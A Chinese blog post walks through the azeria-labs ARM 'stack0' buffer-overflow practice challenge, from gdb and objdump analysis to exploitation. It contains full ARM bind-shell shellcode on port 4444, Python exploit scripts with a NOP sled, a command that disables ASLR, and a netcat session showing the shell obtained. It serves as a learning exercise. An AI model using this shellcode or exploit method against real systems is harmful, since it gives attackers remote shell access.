ARM匯編之堆棧溢出實戰(zhàn)分析一(GDB)

轉(zhuǎn)自:安全課傳送門

引言

經(jīng)過很長一段時間在azeria-labs進(jìn)行的ARM基礎(chǔ)匯編學(xué)習(xí),學(xué)到了很多ARM匯編的基礎(chǔ)知識、和簡單的shellcode的編寫,為了驗證自己的學(xué)習(xí)成果,根據(jù)該網(wǎng)站提供的實例,做一次比較詳細(xì)的逆向分析,和shellcode的實現(xiàn),為自己的ARM入門學(xué)習(xí)鞏固。

實例下載地址:git clone https://github.com/azeria-labs/ARM-challenges.git
調(diào)試環(huán)境:Linux raspberrypi 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l GNU/Linux+GNU gdb (Raspbian 7.7.1+dfsg-5+rpi1) 7.7.1(這些都是按照網(wǎng)站教程安裝的如果自己有ARM架構(gòu)的操作系統(tǒng)也是可以的)

stack0

第一步,我們先看看文件的信息file stack0,從返回信息可以看出該程序是一個32位可執(zhí)行程序,從最后的not stripped可以看出這個程序的符號信息,具體有關(guān)stripped詳細(xì)介紹可以百度

stack0: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 2.6.32, BuildID[sha1]=1171fa6db1d5176af44d6d462427f8d244bd82c8, not stripped

下面我們給他執(zhí)行權(quán)限chmod +x stack0,然后執(zhí)行它,會發(fā)現(xiàn)需要你的輸入,表明這里使用了gets、scanf之類的輸入方法,這些方法存在的地方就有溢出的風(fēng)險,我們嘗試構(gòu)造一長一短的字符串,來測試一下。
短的字符串輸出的讓你重試的字樣。
長的字符串,明顯可以看出我們輸入的值更改了變量導(dǎo)致,并且覆蓋了返回地址,導(dǎo)致拋出Segmentation fault(訪問了不可訪問的內(nèi)存,這個內(nèi)存要么是不存在的,要么是受系統(tǒng)保護(hù)的)異常

1.png

分析出它存在溢出漏洞,現(xiàn)在我們就需要進(jìn)入他的內(nèi)部世界,徹底的洞悉它
首先我們需要找到他的入口函數(shù),因為他沒有刪除符號數(shù)據(jù),我們直接執(zhí)行nm stack0,可以看到入口點、調(diào)用的庫函數(shù)等信息,很明顯入口點應(yīng)該是main函數(shù),我們來gdb走一波

         U abort@@GLIBC_2.4
00020684 B __bss_end__
00020684 B _bss_end__
00020680 B __bss_start
00020680 B __bss_start__
00010360 t call_weak_fn
00020680 b completed.9004
00020678 D __data_start
00020678 W data_start
00010384 t deregister_tm_clones
000103ec t __do_global_dtors_aux
00020564 t __do_global_dtors_aux_fini_array_entry
0002067c D __dso_handle
0002056c d _DYNAMIC
00020680 D _edata
00020684 B _end
00020684 B __end__
00010510 T _fini
00010414 t frame_dummy
00020560 t __frame_dummy_init_array_entry
0001055c r __FRAME_END__
         U gets@@GLIBC_2.4
00020654 d _GLOBAL_OFFSET_TABLE_
         w __gmon_start__
000102c8 T _init
00020564 t __init_array_end
00020560 t __init_array_start
00010518 R _IO_stdin_used
         w _ITM_deregisterTMCloneTable
         w _ITM_registerTMCloneTable
00020568 d __JCR_END__
00020568 d __JCR_LIST__
         w _Jv_RegisterClasses
0001050c T __libc_csu_fini
000104a8 T __libc_csu_init
         U __libc_start_main@@GLIBC_2.4
0001044c T main
         U puts@@GLIBC_2.4
000103b4 t register_tm_clones
00010324 T _start
00020680 D __TMC_END__

gdb stack0
gef>disas stack0,我們可以看見得到main函數(shù)的反匯編代碼,但是有一點不爽的是一些庫函數(shù)API名稱沒
有顯示出來,這里提供兩種解決思路:

  • 升級gdb版本(百度、google找教程,我升級到8.2版本是可以顯示的。這里有點奇怪的是,我的版本已經(jīng)很高了,但是對這個二進(jìn)制文件還是不能識別庫函數(shù)并顯示并且stripped前后都顯示不了,但是對于有些二進(jìn)制文件它又可以顯示,如果有大佬知道,希望在評論里幫助解惑一下,thanks
  • objdump 了解一下,這里我主要用的是objdump
Dump of assembler code for function main:
   0x0001044c <+0>: push    {r11, lr}
   0x00010450 <+4>: add r11, sp, #4
   0x00010454 <+8>: sub sp, sp, #80 ; 0x50
   0x00010458 <+12>:    str r0, [r11, #-80] ; 0x50
   0x0001045c <+16>:    str r1, [r11, #-84] ; 0x54
   0x00010460 <+20>:    mov r3, #0
   0x00010464 <+24>:    str r3, [r11, #-8]
   0x00010468 <+28>:    sub r3, r11, #72    ; 0x48
   0x0001046c <+32>:    mov r0, r3
   0x00010470 <+36>:    bl  0x102e8
   0x00010474 <+40>:    ldr r3, [r11, #-8]
   0x00010478 <+44>:    cmp r3, #0
   0x0001047c <+48>:    beq 0x1048c <main+64>
   0x00010480 <+52>:    ldr r0, [pc, #24]   ; 0x104a0 <main+84>
   0x00010484 <+56>:    bl  0x102f4
   0x00010488 <+60>:    b   0x10494 <main+72>
   0x0001048c <+64>:    ldr r0, [pc, #16]   ; 0x104a4 <main+88>
   0x00010490 <+68>:    bl  0x102f4
   0x00010494 <+72>:    mov r0, r3
   0x00010498 <+76>:    sub sp, r11, #4
   0x0001049c <+80>:    pop {r11, pc}
   0x000104a0 <+84>:    andeq   r0, r1, r12, lsl r5
   0x000104a4 <+88>:    andeq   r0, r1, r8, asr #10
End of assembler dump.

objdump打印的結(jié)果,下面省略了一些顯示,把主要分析的部分放出來,并且可以看到所有區(qū)段的反匯編代碼和地址,這樣我們對照著這個輸出信息,即可

stack0:     file format elf32-littlearm


Disassembly of section .init:

000102c8 <_init>:
   102c8:   e92d4008    push    {r3, lr}
   102cc:   eb000023    bl  10360 <call_weak_fn>
   102d0:   e8bd8008    pop {r3, pc}

Disassembly of section .plt:

000102d4 <gets@plt-0x14>:
   102d4:   e52de004    push    {lr}        ; (str lr, [sp, #-4]!)
   102d8:   e59fe004    ldr lr, [pc, #4]    ; 102e4 <_init+0x1c>
   102dc:   e08fe00e    add lr, pc, lr
   102e0:   e5bef008    ldr pc, [lr, #8]!
   102e4:   00010370    .word   0x00010370

000102e8 <gets@plt>:
   102e8:   e28fc600    add ip, pc, #0, 12
   102ec:   e28cca10    add ip, ip, #16, 20 ; 0x10000
   102f0:   e5bcf370    ldr pc, [ip, #880]! ; 0x370

000102f4 <puts@plt>:
   102f4:   e28fc600    add ip, pc, #0, 12
   102f8:   e28cca10    add ip, ip, #16, 20 ; 0x10000
   102fc:   e5bcf368    ldr pc, [ip, #872]! ; 0x368

00010300 <__libc_start_main@plt>:
   10300:   e28fc600    add ip, pc, #0, 12
   10304:   e28cca10    add ip, ip, #16, 20 ; 0x10000
   10308:   e5bcf360    ldr pc, [ip, #864]! ; 0x360

0001030c <__gmon_start__@plt>:
   1030c:   e28fc600    add ip, pc, #0, 12
   10310:   e28cca10    add ip, ip, #16, 20 ; 0x10000
   10314:   e5bcf358    ldr pc, [ip, #856]! ; 0x358

00010318 <abort@plt>:
   10318:   e28fc600    add ip, pc, #0, 12
   1031c:   e28cca10    add ip, ip, #16, 20 ; 0x10000
   10320:   e5bcf350    ldr pc, [ip, #848]! ; 0x350

Disassembly of section .text:

00010324 <_start>:
   10324:   e3a0b000    mov fp, #0
   10328:   e3a0e000    mov lr, #0
   1032c:   e49d1004    pop {r1}        ; (ldr r1, [sp], #4)
   10330:   e1a0200d    mov r2, sp
   10334:   e52d2004    push    {r2}        ; (str r2, [sp, #-4]!)
   10338:   e52d0004    push    {r0}        ; (str r0, [sp, #-4]!)
   1033c:   e59fc010    ldr ip, [pc, #16]   ; 10354 <_start+0x30>
   10340:   e52dc004    push    {ip}        ; (str ip, [sp, #-4]!)
   10344:   e59f000c    ldr r0, [pc, #12]   ; 10358 <_start+0x34>
   10348:   e59f300c    ldr r3, [pc, #12]   ; 1035c <_start+0x38>
   1034c:   ebffffeb    bl  10300 <__libc_start_main@plt>        ;這個庫函數(shù)獲取了main函數(shù)的地址,開啟了main函數(shù)的執(zhí)行流程
   10350:   ebfffff0    bl  10318 <abort@plt>
   10354:   0001050c    .word   0x0001050c
   10358:   0001044c    .word   0x0001044c               ;很明顯這是main函數(shù)的地址
   1035c:   000104a8    .word   0x000104a8
...............

0001044c <main>:
   1044c:   e92d4800    push    {fp, lr}
   10450:   e28db004    add fp, sp, #4
   10454:   e24dd050    sub sp, sp, #80 ; 0x50
   10458:   e50b0050    str r0, [fp, #-80]  ; 0xffffffb0
   1045c:   e50b1054    str r1, [fp, #-84]  ; 0xffffffac
   10460:   e3a03000    mov r3, #0
   10464:   e50b3008    str r3, [fp, #-8]
   10468:   e24b3048    sub r3, fp, #72 ; 0x48
   1046c:   e1a00003    mov r0, r3
   10470:   ebffff9c    bl  102e8 <gets@plt>
   10474:   e51b3008    ldr r3, [fp, #-8]
   10478:   e3530000    cmp r3, #0
   1047c:   0a000002    beq 1048c <main+0x40>
   10480:   e59f0018    ldr r0, [pc, #24]   ; 104a0 <main+0x54>
   10484:   ebffff9a    bl  102f4 <puts@plt>
   10488:   ea000001    b   10494 <main+0x48>
   1048c:   e59f0010    ldr r0, [pc, #16]   ; 104a4 <main+0x58>
   10490:   ebffff97    bl  102f4 <puts@plt>
   10494:   e1a00003    mov r0, r3
   10498:   e24bd004    sub sp, fp, #4
   1049c:   e8bd8800    pop {fp, pc}
   104a0:   0001051c    .word   0x0001051c
   104a4:   00010548    .word   0x00010548
..............

下面進(jìn)行逐步分析:

  1. 保存了當(dāng)前棧幀的返回地址上一個棧幀的幀地址。
    幀指針r11指向當(dāng)前棧幀頂部的返回地址
    壓棧操作,壓入大小為80字節(jié)的空間,為變量、參數(shù)準(zhǔn)備的臨時存放空間。
    r0, r1進(jìn)行入棧操作,并且放在棧頂的位置,這是上一個棧幀的變量,我們需要保護(hù)起來。
   0x0001044c <+0>: push    {r11, lr}
   0x00010450 <+4>: add r11, sp, #4
   0x00010454 <+8>: sub sp, sp, #80 ; 0x50
   0x10458 <main+12>        str    r0,  [r11,  #-80]    ; 0x50
  1. r3寄存器賦0值,然后將r3內(nèi)的0存放到r11-8內(nèi)存地址指向的空間,這個地址是臨著上一個棧幀的幀指針r11-4(r11是當(dāng)前棧幀的幀指針,指向當(dāng)前棧幀頂部,頂部存放著返回地址)
      0x1045c <main+16>        str    r1,  [r11,  #-84] ; 0x54
      0x10460 <main+20>        mov    r3,  #0
      0x10464 <main+24>        str    r3,  [r11,  #-8]
  1. 將r11-0x48(0xbefff0e4)的地址通過r3賦值給r0,然后作為參數(shù)傳進(jìn)gets函數(shù)中執(zhí)行,這個函數(shù)會將用戶輸入的內(nèi)容,存放到0xbefff0e4這個地址空間中
->   0x10468 <main+28>        sub    r3,  r11,  #72 ; 0x48,上一個指針的兩個變量存儲用了8字節(jié)空間,剛好從r11-72的地址開始給當(dāng)前棧幀的
                                                    ;參數(shù)使用
      0x1046c <main+32>        mov    r0,  r3
      0x10470 <main+36>        bl     0x102e8 <gets@plt>
  1. 開始輸入字符串,測試溢出
    下面顯示地址空間存儲的值,0xbefff0e4地址是存放用戶輸入字符串開始的位置,下面我們嘗試輸入不同的字符來看下面這些地址存放的值的變化
gef> x/19x 0xbefff0e4
0xbefff0e4: 0xb6ffbfc4  0x00000003  0xb6e77be8  0x00000000
0xbefff0f4: 0xb6e779f8  0xbefff130  0xb6fd618c  0x00000000
0xbefff104: 0x00000000  0x00010414  0x000104f8  0xb6fb2ba0
0xbefff114: 0x000104a8  0x00000000  0x00010324  0x00000000
0xbefff124: 0x00000000  0x00000000  0xb6e8c294

嘗試輸入4個1后的結(jié)果輸出,很明顯0xb6ffbfc4 0x00000003中前四個字節(jié)被0x31313131(1的16進(jìn)制)覆蓋了,0x00000003這個值內(nèi)的03被gets函數(shù)默認(rèn)用0x00覆蓋用來標(biāo)志字符串的結(jié)尾

gef> x/19x 0xbefff0e4
0xbefff0e4: 0x31313131  0x00000000  0xb6e77be8  0x00000000
0xbefff0f4: 0xb6e779f8  0xbefff130  0xb6fd618c  0x00000000
0xbefff104: 0x00000000  0x00010414  0x000104f8  0xb6fb2ba0
0xbefff114: 0x000104a8  0x00000000  0x00010324  0x00000000
0xbefff124: 0x00000000  0x00000000  0xb6e8c294

下面我們直接輸入足夠的長度,一直到返回地址處,根據(jù)上面的sub r3, r11, #72語句,將r11-72出作為存放用戶輸入的初始地址,可以知道,輸入的長度至少72,這樣0xb6e8c294最低位94會被00覆蓋,下面我們進(jìn)行輸入72個1的覆蓋,很明顯我們?nèi)缥覀兯?。(可以多輸入幾個字符完全覆蓋,因為只覆蓋最低位兩個字符,可能依然會存在該地址,而導(dǎo)致不能實現(xiàn)程序的崩潰)

0xbefff0e4: 0x31313131  0x31313131  0x31313131  0x31313131
0xbefff0f4: 0x31313131  0x31313131  0x31313131  0x31313131
0xbefff104: 0x31313131  0x31313131  0x31313131  0x31313131
0xbefff114: 0x31313131  0x31313131  0x31313131  0x31313131
0xbefff124: 0x31313131  0x31313131  0xb6e8c200
  1. 最后一步---shellcode。構(gòu)造一個shellcode來利用這個溢出漏洞,最一個完美的結(jié)尾。具體shellcode編寫可以參考我的另一篇文章:http://www.itdecent.cn/p/16f1c9fe8541
    shellcode代碼---BindShell
.section .text

.global _start
_start:
    .code 32
    //arm set switch thumb set
    add r3, pc, #1
    bx r3

    .code 16
    //create a socket 
    mov r0, #2
    mov r1, #1
    sub r2, r2, r2
    mov r7, #200
    add r7, #81 
    svc #1  
    
    //bind local address
    mov r4, r0
    adr r1, local_addr
    strb r2, [r1, #1]
    strh r2, [r1, #4]
    nop
    strb r2, [r1, #6]
    strb r2, [r1, #7]
    mov r2, #16
    add r7, #1
    svc #1
    

    //start listen,wait for connection
    mov r0, r4
    mov r1, #2
    add r7, #2
    svc #1

    //accept first connection
    mov r0, r4
    eor r1, r1, r1
    eor r2, r2, r2
    add r7, #1
    svc #1
    mov r4, r0
    
    //change stdin/stdout/stderr to /bin/sh
    mov r0, r4
    sub r1, r1, r1
    mov r7, #63
    svc #1

    mov r0, r4
    mov r1, #1
    svc #1
    
    mov r0, r4
    mov r1, #2
    svc #1

    //execve("/bin/sh")
    adr r0, bin_sh
    eor r1, r1, r1
    eor r2, r2, r2
    strb r2, [r0, #7]
    mov r7, #11
    svc #1

local_addr:
.ascii "\x02\xff"
.ascii "\x11\x5c"
.byte 1,1,1,1

bin_sh:
.ascii "/bin/shX"

hexdump -v -e '"\\""x" /1 "%02x" ""' bindshell.bin生成十六進(jìn)制的shellcode
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x11\xa1\x4a\x70\x8a\x80\xc0\x46\x8a\x71\xca\x71\x10\x22\x01\x37\x01\xdf\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\x49\x40\x52\x40\x01\x37\x01\xdf\x04\x1c\x20\x1c\x49\x1a\x3f\x27\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58

寫好shellcode之后,我們需要找到合適的位置,存放好shellcode保證程序可以正常執(zhí)行shellcode,根據(jù)上面的分析,可以得到返回地址0xb6e8c294存放的內(nèi)存地址是0xbefff124+8=0xbefff12c,而我們溢出的數(shù)據(jù)會一直向棧空間下面延伸,所以我們可以將返回地址改成0xbefff12c+4的位置,這樣就會執(zhí)行到后面的shellcode代碼

0xbefff124: 0x00000000  0x00000000  0xb6e8c294

第一步:現(xiàn)將返回地址覆蓋為0xbefff130,這里我使用python腳本來實現(xiàn)填充字符、和返回地址的覆蓋。然后python poc.py >exp,把shellcode寫入exp文件,在gdb里使用r < exp命令,把exp文件作為輸入,來執(zhí)行stack0文件??梢钥吹?code>r11指向的返回地址,存儲的值剛好是下一個棧地址

poc.py

port struct
padding = "111111111111111111111111111111111111111111111111111111111111111111111111"
//把0xbefff130轉(zhuǎn)成字符串,格式為`I`unsigned int(四字節(jié)長度剛好)
return_addr = struct.pack("I", 0xbefff130)

print padding + return_addr

結(jié)果:

0xbefff128|+0x0000: 0x31313131  <-$sp
0xbefff12c|+0x0004: 0xbefff130 -> 0xb6fb1000 -> 0x0013cf20  <-$r11
0xbefff130|+0x0008: 0xb6fb1000 -> 0x0013cf20

然后在python腳本內(nèi)再添加shellcode后,完整的腳本如下:

import struct
padding = "111111111111111111111111111111111111111111111111111111111111111111111111"
return_addr = struct.pack("I", 0xbefff130)

payload = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x11\xa1\x4a\x70\x8a\x80\xc0\x46\x8a\x71\xca\x71\x10\x22\x01\x37\x01\xdf\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\x49\x40\x52\x40\x01\x37\x01\xdf\x04\x1c\x20\x1c\x49\x1a\x3f\x27\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58"

print padding + return_addr + payload

當(dāng)我們使用gdb運行r < exp調(diào)試的時候,查詢端口可以看見,4444端口已經(jīng)開始偵聽,exp成功執(zhí)行

tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN 

這個時候我們使用nc -vv 127.0.0.1 4444,遠(yuǎn)程連接,客戶端和服務(wù)端成功連接上,執(zhí)行命令也成功返回
客戶端返回:

pi@raspberrypi:~/Desktop $ nc -vv 127.0.0.1 4444
Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
whoami
pi
ps
  PID TTY          TIME CMD
  572 pts/0    00:00:33 bash
 6522 pts/0    00:00:06 gdb
 6526 pts/0    00:00:00 sh
 6534 pts/0    00:00:00 ps

服務(wù)端返回結(jié)果,顯示開啟了一個新的進(jìn)程來運行/bin/sh

gef> r < exp
Starting program: /home/pi/Desktop/ARM-challenges/stack0 < exp
you have changed the 'modified' variable
process 6526 is executing new program: /bin/dash
  1. 環(huán)境變量的影響---NOP技術(shù),生成新進(jìn)程的問題
    針對第6步的調(diào)試成功之后,當(dāng)我們直接運行./stack0 <exp的時候,返回錯誤如下。所以我們單開最后一個步驟,來處理出現(xiàn)的問題。這個問題主要的原因就是棧內(nèi)環(huán)境變量不同導(dǎo)致棧發(fā)生了小幅度的偏移,影響了shellcode的位置。
    you have changed the 'modified' variable
    Segmentation fault

我們使用gdb /home/pi/Desktop/ARM-challenges/stack0gdb ./stack0來調(diào)試完整路徑下的程序,并且在執(zhí)行shellcode前設(shè)置斷點,并且定義hook-stop來在執(zhí)行斷點前打印棧數(shù)據(jù),運行r<exp后觀察返回的棧數(shù)據(jù),很明顯棧數(shù)據(jù)發(fā)生了很大的變化

gef> define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/8wx $sp
>end

返回棧數(shù)據(jù)結(jié)果

gdb ./stack0
0xbefff128: 0x31313131  0xbefff130  0xe28f3001  0xe12fff13
0xbefff138: 0x21012002  0x27c81a92  0xdf013751  0xa1111c04


gdb /home/pi/Desktop/ARM-challenges/stack0
0xbefff138: 0x00000000  0xb6e8c294  0xb6fb1000  0xbefff294
0xbefff148: 0x00000001  0x0001044c  0xb6ffe0b8  0xb6ffddc0

下面嘗試打印1000行棧數(shù)據(jù)x/1000s $sp,觀察不同,具體不同的地方就是存放環(huán)境變量的地方,如下所示,地址0xbefffcdd的數(shù)據(jù)還是相同的,但是因為pwd變量的長度不一致,導(dǎo)致了需用用更多的??臻g存儲多余的數(shù)據(jù),所以從這往后,棧內(nèi)數(shù)據(jù)發(fā)生了變化

gdb ./stack0的輸出
0xbefffc8c: "_=/usr/bin/gdb"
0xbefffc9b: "LC_IDENTIFICATION=zh_CN.UTF-8"
0xbefffcb9: "PWD=/home/pi/Desktop/ARM-challenges"
0xbefffcdd: "LANG=en_GB.UTF-8"


gdb /home/pi/Desktop/ARM-challenges/stack0的輸出
0xbefffc9b: "_=/usr/bin/gdb"
0xbefffcaa: "LC_IDENTIFICATION=zh_CN.UTF-8"
0xbefffcc8: "PWD=/home/pi/Desktop"
0xbefffcdd: "LANG=en_GB.UTF-8"

具體解決方案:

  • 執(zhí)行前刪除環(huán)境變量
shell$ env -i ./stack0
(gdb) unset env
  • NOP:使用NOP滑到我們的shellcode處,然后我們將加入100個NOP到shellcode中,下面這個python腳本才是最終的腳本!
import struct
padding = "111111111111111111111111111111111111111111111111111111111111111111111111"
return_addr = struct.pack("I", 0xbefff130)

payload = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x11\xa1\x4a\x70\x8a\x80\xc0\x46\x8a\x71\xca\x71\x10\x22\x01\x37\x01\xdf\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\x49\x40\x52\x40\x01\x37\x01\xdf\x04\x1c\x20\x1c\x49\x1a\x3f\x27\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58"

print padding + return_addr + "\x90"*100 + payload

至此我們解決了環(huán)境變量引起的棧數(shù)據(jù)移動問題,當(dāng)我們在次執(zhí)行./stack0 < exp

you have changed the 'modified' variable
Segmentation fault

由這個問題引入一個概念ASLRAddress Space Layout Randomization,地址空間布局隨機(jī)化
Linux 平臺上 ASLR 分為 0,1,2 三級,用戶可以通過一個內(nèi)核參數(shù) randomize_va_space 進(jìn)行等級控制。它們對應(yīng)的效果如下。更詳細(xì)的介紹大家百度

  • 0:沒有隨機(jī)化。即關(guān)閉 ASLR。
  • 1:保留的隨機(jī)化。共享庫、棧、mmap() 以及 VDSO 將被隨機(jī)化。
  • 2:完全的隨機(jī)化。在 1 的基礎(chǔ)上,通過 brk() 分配的內(nèi)存空間也將被隨機(jī)化
    這里我們使用命令來改變這個值:
    echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

下面就是見證奇跡的時候了:


shellcode執(zhí)行成功

小結(jié)

至此本篇paper基本完成,這個實例其實是很入門的東西,但是整套流程坐下來,卻很有意義,希望給大家一些幫助。當(dāng)然,過程中遇見了很多的問題,學(xué)習(xí)的路上很枯燥,我們需要耐著性子穩(wěn)步前行,做完這個例子我收獲了很多,感謝自己、也感謝幫我的優(yōu)秀老鐵:大毛腿

附錄文章:
[1] ARM匯編學(xué)習(xí)網(wǎng)站https://azeria-labs.com/writing-arm-assembly-part-1/
[2] 實戰(zhàn)樣本下載地址https://github.com/azeria-labs/ARM-challenges.git
[3] shellcode學(xué)習(xí)編寫地址http://www.itdecent.cn/p/16f1c9fe8541
[4] 在溢出中使用shellcode教程https://www.youtube.com/98c2a1d3-3d69-4931-9f27-bd457a464f38

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容